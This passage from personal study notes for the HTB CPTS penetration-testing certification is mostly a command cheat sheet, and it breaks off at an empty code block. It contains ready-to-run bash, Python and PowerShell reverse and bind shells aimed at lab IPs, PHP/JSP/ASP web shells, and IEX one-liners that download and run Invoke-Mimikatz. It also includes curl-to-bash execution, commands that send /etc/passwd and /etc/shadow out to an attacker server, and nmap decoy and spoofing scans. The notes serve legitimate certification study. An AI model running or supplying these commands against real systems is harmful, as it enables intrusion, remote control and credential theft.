> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/cpts/cpts_notes.md).

# CPTS\_Notes

## CPTS Cheat Sheet

> Certified Penetration Testing Specialist (HTB) — commands, approach, and theory. Two parts: **Part 1 — Commands & Approach** (the operational playbook) and **Part 2 — Science & Theory** (the "why" behind the techniques).

**General references:**

* <https://swisskyrepo.github.io/InternalAllTheThings/>
* Reverse shells cheat sheet: <https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python>
* <https://github.com/puzzithinker/cybersecurity_cheatsheets/tree/main>
* <https://github.com/missteek/cpts-quick-references>

***

### Table of Contents

#### Part 1 — Commands & Approach

* Shells & Reverse Shells
* Privilege Escalation Checklists & Quick Wins
* Nmap
* Footprinting (FTP, SMB, NFS, SMTP, DNS, Web)
* File Transfers
* Shells & Payloads
* Metasploit
* Password Attacks
* Attacking Common Services (SMB, MSSQL/MySQL, RDP, DNS, Mail)
* Pivoting, Tunneling & Port Forwarding
* Active Directory Enumeration & Attacks
* Using Web Proxies
* Login Brute Forcing
* SQL Injection Fundamentals
* SQLMap Essentials
* Cross-Site Scripting (XSS)
* File Inclusion (LFI/RFI)
* File Upload Attacks
* Command Injections
* Web Attacks (Verb Tampering, IDOR, XXE)
* Attacking Common Applications
* Linux Privilege Escalation
* Windows Privilege Escalation
* Attacking Web Applications with Ffuf

#### Part 2 — Science & Theory

* FIFO (Named Pipe)
* Staged vs Stageless Payloads
* Keytab Files
* ccache Files (and .kirbi / .keytab)
* psexec.py & wmiexec.py
* Kerberoasting (Overview, Attack, Efficacy)
* Why ACEs Are Important
* PetitPotam (MS-EFSRPC)
* Domain Trusts Overview
* allow\_url\_include & LFI Severity
* CGI (Common Gateway Interface)
* Escaping Restricted Shells (concepts)
* SeImpersonatePrivilege & Potato Exploits

***

## Part 1 — Commands & Approach

### Shells & Reverse Shells

#### Bash reverse shells

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
```

```bash
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
```

#### PowerShell reverse shell

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('172.16.1.5',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
```

#### Bind shells

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

Python bind shell:

```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

PowerShell bind shell:

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
```

#### Upgrade to TTY shell

```shell-session
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

After we run this command, we will hit `ctrl+z` to background our shell and get back on our local terminal, and input the following `stty` command:

```shell-session
stty raw -echo
fg
echo $TERM
stty size
export TERM=xterm-256color
stty rows 67 columns 318
```

#### Web shells

PHP:

```php
<?php system($_REQUEST["cmd"]); ?>
```

```bash
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
```

> *\[Screenshot: Pasted image 20250810214320.png]*

JSP:

```jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

ASP:

```asp
<% eval request("cmd") %>
```

> *\[Screenshot: Pasted image 20250401014851.png]*

***

### Privilege Escalation Checklists & Quick Wins

**PrivEsc Checklists:**

* <https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>
* <https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>
* <https://github.com/GhostPack/Seatbelt> (tool)
* <https://github.com/411Hall/JAWS> (tool)
* dirtycow POCs: <https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs>

`dpkg -l` to check for the installed packages. To switch to the root user:

```shell-session
sudo su -
```

```shell-session
sudo -u user /bin/echo Hello World!
```

* <https://gtfobins.github.io/>
* <https://lolbas-project.github.io/#>

Useful directories to check if we have write access so we can abuse cron jobs:

1. `/etc/crontab`
2. `/etc/cron.d`
3. `/var/spool/cron/crontabs/root`

Transfer files with scp:

```shell-session
scp linenum.sh user@remotehost:/tmp/linenum.sh
```

Transfer files using base64 encoding:

```shell-session
base64 shell -w 0
echo base46 value | base64 -d > shell
```

Then do `md5sum` on the files on the two machines to check if it was corrupted or not.

```
hydra -l admin -P rockyou-50.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php: username="USER^&password="PASS
^:Incorrect username"^
```

***

### Nmap

```
sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5
sudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d" " -f5
## alternative command for the above
sudo nmap -sn 10.129.2.0/24 -oG - | awk '/Up$/{print $2}'
sudo nmap 10.129.2.18 -sn -oA host -PE --reason
sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping
## note that -sn disables the port scanning
## -iL Performs defined scans against targets in provided 'hosts.lst' list.
```

If we disable port scan (`-sn`), Nmap automatically does a ping scan with `ICMP Echo Requests` (`-PE`). `-PE` performs the ping scan by using 'ICMP Echo requests' against the target.

> *\[Screenshots: Pasted image 20250402040205.png · 20250402042253.png]*

Create an HTML report from an XML file that contains nmap scan results:

```shell-session
xsltproc target.xml -o target.html
```

> *\[Screenshot: Pasted image 20250402044338.png]*

```
sudo nmap 10.129.2.0/24 -F --initial-rtt-timeout 50ms --max-rtt-timeout 100ms
sudo nmap 10.129.2.0/24 -F --max-retries 0
sudo nmap 10.129.2.0/24 -F -oN tnet.minrate300 --min-rate 300
```

Scanning Top 10 TCP Ports:

```
sudo nmap 10.129.2.28 --top-ports=10
```

Connect Scan on TCP Port 443:

```
sudo nmap 10.129.2.28 -p 443 --packet-trace --disable-arp-ping -Pn -n --reason -sT
```

UDP Port Scan:

```
sudo nmap 10.129.2.28 -F -sU
## -F Scans top 100 ports.
## -sU Performs a UDP scan
```

Nmap script engine to attack HTTP:

```
sudo nmap -p 80 --script http-enum,http-methods,http-headers,http-title,http-robots.txt,http-vuln-* 10.129.230.0
## To run all HTTP category scripts:
sudo nmap -p 80 --script "http-*" 10.129.230.0
```

> *\[Screenshot: Pasted image 20250402063302.png]* · <https://nmap.org/book/performance-timing-templates.html> · *\[Screenshot: Pasted image 20250402063427.png]*

SYN-Scan:

```shell-session
sudo nmap 10.129.2.28 -p 21,22,25 -sS -Pn -n --disable-arp-ping --packet-trace
```

ACK-Scan:

```shell-session
sudo nmap 10.129.2.28 -p 21,22,25 -sA -Pn -n --disable-arp-ping --packet-trace
```

Scan by Using Decoys:

```shell-session
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
```

Scan by Using Different Source IP:

```shell-session
sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0
```

> *\[Screenshot: Pasted image 20250402070900.png]*

SYN-Scan From DNS Port:

```shell-session
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
```

Command to bypass tcpwrapped:

```
nmap -n -vv -A x.x.x.x --min-parallelism=50 --max-parallelism=150 -PN -T2 -oA x.x.x.x
```

```
proxychains nmap -sT -Pn <target>  # Requires proxychains setup
```

#### Firewall and IDS/IPS Evasion

SYN-Scan:

```
sudo nmap 10.129.2.28 -p 21,22,25 -sS -Pn -n --disable-arp-ping --packet-trace
```

ACK-Scan:

```
sudo nmap 10.129.2.28 -p 21,22,25 -sA -Pn -n --disable-arp-ping --packet-trace
```

Decoys:

```
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
```

Scan by Using Different Source IP:

```
sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0
```

| Flag              | Meaning                                                                                                         |
| ----------------- | --------------------------------------------------------------------------------------------------------------- |
| `-n`              | **No DNS resolution** — skip reverse DNS lookups for speed.                                                     |
| `-Pn`             | **No ping** — treat the host as "up" without host discovery (useful if ICMP is blocked).                        |
| `-p 445`          | Scan **only** TCP port 445 (SMB).                                                                               |
| `-O`              | Enable **OS detection**.                                                                                        |
| `-S 10.129.2.200` | **Spoof source IP address** — make the scan appear as if it comes from `10.129.2.200` instead of your real one. |
| `-e tun0`         | Use the network interface `tun0` for sending packets (common for VPN connections in HTB).                       |

SYN-Scan From DNS Port:

```
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
```

> *\[Screenshot: Pasted image 20250814161604.png]*

List all the scripts related to a service:

```
find / -type f -name ftp* 2>/dev/null | grep scripts
```

***

### Footprinting

#### FTP Enumeration

> *\[Screenshots: Pasted image 20250404051117.png · 20250815120507.png]*

Grep and get the subdomains for a target:

```
### Certificate Transparency
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq .
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u

### Company Hosted Servers
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done

### Shodan - IP List
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f4 >> ip-addresses.txt;done
for i in $(cat ip-addresses.txt);do shodan host $i;done

### DNS Records
dig any inlanefreight.com
```

<https://domain.glass/> · <https://buckets.grayhatwarfare.com/>

FTP commands reference: <https://web.archive.org/web/20230326204635/https://www.smartfile.com/blog/the-ultimate-ftp-commands-list/>

> *\[Screenshots: Pasted image 20250405221749.png · 20250405221932.png · 20250405221959.png · 20250405222141.png]*

Download file from FTP:

```shell-session
wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136
```

Find nmap scripts:

```shell-session
find / -type f -name ftp* 2>/dev/null | grep scripts
```

Extract the ssl cert that the FTP is using:

```shell-session
openssl s_client -connect 10.129.14.136:21 -starttls ftp
```

#### SMB Enumeration

```
smbclient -N -L //10.129.14.128
## Download Files from SMB
get filename.txt
rpcclient -U "" 10.129.14.128
## then use the following commands to get more info
srvinfo
enumdomains
querydominfo
netshareenumall
netsharegetinfo <share>
enumdomusers
queryuser <RID>
## Rpcclient - Group Information
querygroup 0x201
## https://github.com/fortra/impacket/blob/master/examples/samrdump.py
samrdump.py 10.129.14.128
## https://github.com/ShawnDEvans/smbmap
smbmap -H 10.129.14.128
## https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb 10.129.14.128 --shares -u '' -p ''
## https://github.com/cddmp/enum4linux-ng
git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt
./enum4linux-ng.py 10.129.14.128 -A
```

> *\[Screenshots: Pasted image 20250405223420.png · 20250405223436.png]*

```shell-session
rpcclient -U "" 10.129.14.128
```

<https://github.com/fortra/impacket/blob/master/examples/samrdump.py> · <https://github.com/cddmp/enum4linux-ng>

> *\[Screenshot: Pasted image 20250405224252.png]*

#### NFS Enumeration

NFS is similar to SMB (used for file share). You can enumerate it with nmap or:

```shell-session
showmount -e 10.129.14.128
```

> *\[Screenshot: Pasted image 20250405224517.png]*

Mount the available NFS shares to your local machine:

```
mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
cd target-NFS
tree .
```

> *\[Screenshot: Pasted image 20250816165108.png]*

#### SMTP Enumeration

Default Configuration for SMTP:

```shell-session
cat /etc/postfix/main.cf | grep -v "#" | sed -r "/^\s*$/d"
```

> *\[Screenshots: Pasted image 20250405224648.png · 20250405225117.png · 20250405225155.png · 20250405225234.png · 20250405225336.png]*

```shell-session
gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
```

> *\[Screenshots: Pasted image 20250405225421.png · 20250407003344.png · 20250407003729.png]*

OSINT / recon tools:

* <https://github.com/thewhiteh4t/FinalRecon>
* <https://github.com/lanmaster53/recon-ng>
* <https://github.com/laramies/theHarvester>
* <https://github.com/smicallef/spiderfoot>
* <https://osintframework.com/>
* <https://github.com/scriptingxss/owasp-fstm>

Test the WAF type:

```
pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f inlanefreight.com
```

Web scraping:

```
pip3 install scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip
python3 ReconSpider.py http://inlanefreight.com
```

***

### File Transfers

For Windows fileless references:

* <https://www.microsoft.com/en-us/security/blog/2018/01/24/now-you-see-me-exposing-fileless-malware/>
* <https://github.com/zapstiko/cheatsheet/blob/main/File%20Transfers.md> (cheat sheet)

> *\[Screenshot: Pasted image 20250407160958.png]*

#### Base64 encode/decode transfer

On Linux:

```shell-session
cat id_rsa |base64 -w 0;echo
```

On Windows:

```
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("File base64 hash"))
```

> *\[Screenshot: Pasted image 20250407162128.png]*

#### Windows download methods

```powershell-session
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
```

**Fileless Method:**

```
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

```
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
```

```
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

<https://gist.github.com/HarmJ0y/bb48307ffa663256e239>

Bypass Explorer first-launch configuration:

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```

Bypass SSL/TLS secure channel if the certificate is not trusted:

```
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

#### Transfer via SMB

On Linux:

```
sudo impacket-smbserver share -smb2support /tmp/smbshare
```

On Windows:

```
copy \\192.168.1.14\share\test.txt
```

Create the SMB Server with a Username and Password:

```
impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

Create a share (`CompData`) storing the hive copies in `/home/ltnbob/Documents`:

```
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/
```

On Windows:

```
net use n: \\192.168.220.133\share /user:test test
```

```
net use \\LinuxIP\share /user:username password  # Replace with your Linux credentials
copy \\LinuxIP\share\test.txt C:\destination\
```

Another method:

```
Copy-Item -Path "\\LinuxIP\share\test.txt" -Destination "C:\destination\" -Credential (Get-Credential)
```

#### Transfer via FTP

First create virtual environment:

```
python3 -m venv myenv
```

Activate it:

```
source myenv/bin/activate
```

Install ftp:

```
sudo pip3 install pyftpdlib
```

Run the server:

```
python3 -m pyftpdlib --port 21
```

On Windows:

```
(New-Object Net.WebClient).DownloadFile('ftp://192.168.1.14/test.txt', 'C:\Users\Public\ftp-file.txt')
```

Create a Command File for the FTP Client and Download the Target File:

```
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
```

#### Uploads (target → attacker), base64 encode on Windows / decode on Linux

On Windows:

```
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
```

Get the hash value to compare after the transfer:

```
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
```

On Linux:

```
echo "hash" | base64 -d > hosts
```

#### PowerShell upload via uploadserver

PowerShell doesn't have a built-in upload function, but we can use `Invoke-WebRequest` or `Invoke-RestMethod` with a server that accepts uploads.

* <https://github.com/Densaugeo/uploadserver>
* <https://docs.python.org/3/library/http.server.html>

On Kali:

```
pip3 install uploadserver
```

```
python3 -m uploadserver
```

Then on Windows use the PSUpload.ps1 script: <https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1>

The PS1 script:

```powershell
<#
PowerShell Script to upload files using uploadserver module
Github: https://github.com/Densaugeo/uploadserver
To execute the server run in your Linux Machine:
pip3 install uploadserver
python3 -m uploadserver
Example PS:
Invoke-FileUpload -File C:\Users\plaintext\Desktop\20200717080254_BloodHound.zip -Uri http://192.168.49.128:8000/upload
References: https://gist.github.com/arichika/91a8b1f60c87512401e320a614099283
#>
function Invoke-FileUpload {
	Param (
		[Parameter(Position = 0, Mandatory = $True)]
		[String]$File,

		[Parameter(Position = 1, Mandatory = $True)]
		[String]$Uri
		)

	$FileToUpload = Get-ChildItem -File "$File"

	$UTF8woBOM = New-Object "System.Text.UTF8Encoding" -ArgumentList @($false)
	$boundary = '----BCA246E0-E2CF-48ED-AACE-58B35D68B513'
	$tempFile = New-TemporaryFile
	Remove-Item $tempFile -Force -ErrorAction Ignore
	$sw = New-Object System.IO.StreamWriter($tempFile, $true, $UTF8woBOM)
	$fileName = [System.IO.Path]::GetFileName($FileToUpload.FullName)
	$sw.Write("--$boundary`r`nContent-Disposition: form-data;name=`"files`";filename=`"$fileName`"`r`n`r`n")
	$sw.Close()
	$fs = New-Object System.IO.FileStream($tempFile, [System.IO.FileMode]::Append)
	$bw = New-Object System.IO.BinaryWriter($fs)
	$fileBinary = [System.IO.File]::ReadAllBytes($FileToUpload.FullName)
	$bw.Write($fileBinary)
	$bw.Close()
	$sw = New-Object System.IO.StreamWriter($tempFile, $true, $UTF8woBOM)
	$sw.Write("`r`n--$boundary--`r`n")
	$sw.Close()

	Invoke-RestMethod -Method POST -Uri $uri -ContentType "multipart/form-data; boundary=$boundary" -InFile $tempFile

	$FileHash = Get-FileHash -Path "$File" -Algorith MD5
	Write-Host "[+] File Uploaded: " $FileToUpload.FullName
	Write-Host "[+] FileHash: " $FileHash.Hash
}
```

Download the script:

```
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

Then use the script to upload:

```
Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PSUpload.ps1  -Uri http://192.168.1.14:8000/upload -File C:\Users\pc\Downloads\test.txt
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
```

#### PowerShell + base64 + Netcat upload

Run netcat on your Linux machine:

```
nc -lnvp 4444
```

On Windows:

```
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Users\pc\Downloads\test.txt' -Encoding Byte))
```

Send the POST request:

```
Invoke-WebRequest -Uri http://192.168.1.14:4444/ -Method POST -Body $b64
```

Write the sent hash value into file after decoding it:

```
echo <base64> | base64 -d -w 0 > hosts
```

#### File upload via SMB (WebDAV)

On Linux:

```
pip3 install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

On Windows:

```
dir \\192.168.49.128\DavWWWRoot
```

Upload the files:

```
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
```

#### FTP file Upload

On Linux:

```
sudo python3 -m pyftpdlib --port 21 --write
```

On Windows:

```
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
```

Decode the base64 hash:

```
echo -n 'hash' | base64 -d > id_rsa
```

***

#### Linux download methods

Download file using WGET:

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
```

Download file using CURL:

```
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

Most Linux tools can replicate fileless operations via [pipes](https://www.geeksforgeeks.org/piping-in-unix-or-linux/) — no need to download to execute.

Fileless Download with cURL:

```
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
```

With WGET:

```
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py| python3
```

Download with Bash (/dev/tcp):

```
exec 3<>/dev/tcp/10.10.10.32/80
### HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
cat <&3
```

Download using SSH — enabling the SSH Server:

```
sudo systemctl enable ssh
sudo systemctl start ssh
sudo systemctl status ssh
```

```
scp plaintext@192.168.49.128:/root/myroot.txt .
```

#### Web upload (HTTPS uploadserver)

```
sudo python3 -m pip install --user uploadserver
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
```

From the compromised machine, upload `/etc/passwd` and `/etc/shadow`:

```
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

Upload multiple files:

```
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

#### PHP / Python / Ruby web servers

```
python3 -m http.server
# OR
python2.7 -m SimpleHTTPServer
```

Using PHP:

```
php -S 0.0.0.0:8000
```

Using RUBY:

```
ruby -run -ehttpd . -p8000
```

On the other machine use WGET to download the file:

```
wget 192.168.49.128:8000/filetotransfer.txt
```

**Note:** When we start a new web server using Python or PHP, inbound traffic may be blocked. We are transferring a file *from* our target *onto* our attack host, not uploading.

SCP FILE UPLOAD:

```
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
```

#### Download one-liners (scripting languages)

PYTHON2:

```
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

PYTHON3:

```
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

PHP:

```
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

PHP Download with Fopen():

```
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

PHP Download a File and Pipe it to Bash:

```
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

**Note:** The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

Ruby - Download a File:

```
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

Perl - Download a File:

```
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

JavaScript — create a file called `wget.js`:

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

Then use this command:

```
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

VBScript — create a file called `wget.vbs`:

```vbscript
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

Then use this command:

```
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```

#### Upload with Python

```
python3 -m uploadserver
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

#### Netcat file transfer

NetCat - Compromised Machine - Listening on Port 8000:

```
nc -l -p 8000 > SharpKatz.exe
ncat -l -p 8000 --recv-only > SharpKatz.exe
```

Sending File to Compromised machine:

```
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
```

```
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
```

Connect to a port on our attack host instead (useful when a firewall blocks inbound). Listen on port 443 on Pwnbox:

```
sudo nc -l -p 443 -q 0 < SharpKatz.exe
```

Compromised Machine Connect to Netcat to Receive the File:

```
nc 192.168.49.128 443 > SharpKatz.exe
```

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File:

```
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
```

#### PowerShell Remoting file transfer

Test if you have PowerShell remote connection to a machine:

```
Test-NetConnection -ComputerName DATABASE01 -Port 5985
```

Create a PowerShell Remoting Session to DATABASE01:

```
$Session = New-PSSession -ComputerName DATABASE01
```

Copy samplefile.txt from our Localhost to the DATABASE01 Session:

```
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
```

Copy DATABASE.txt from DATABASE01 Session to our Localhost:

```
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
```

#### File transfer via RDP

Mounting a Linux Folder Using rdesktop:

```
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
```

Mounting a Linux Folder Using xfreerdp:

```
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
```

#### File encryption

On Windows — [Invoke-AESEncryption.ps1](https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1):

```
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
```

On Linux — encrypting /etc/passwd with openssl:

```
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
```

Decrypt passwd.enc with openssl:

```
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
```

#### LOLBAS / living-off-the-land transfers

Upload win.ini to our Pwnbox using certreq.exe from LOLBAS (open a listener with `nc -lvnp 8000`):

```
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
```

File Download with Bitsadmin:

```
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
```

```
Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
```

Download a File with Certutil:

```
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe
```

***

### Shells & Payloads

Reverse shell command:

```
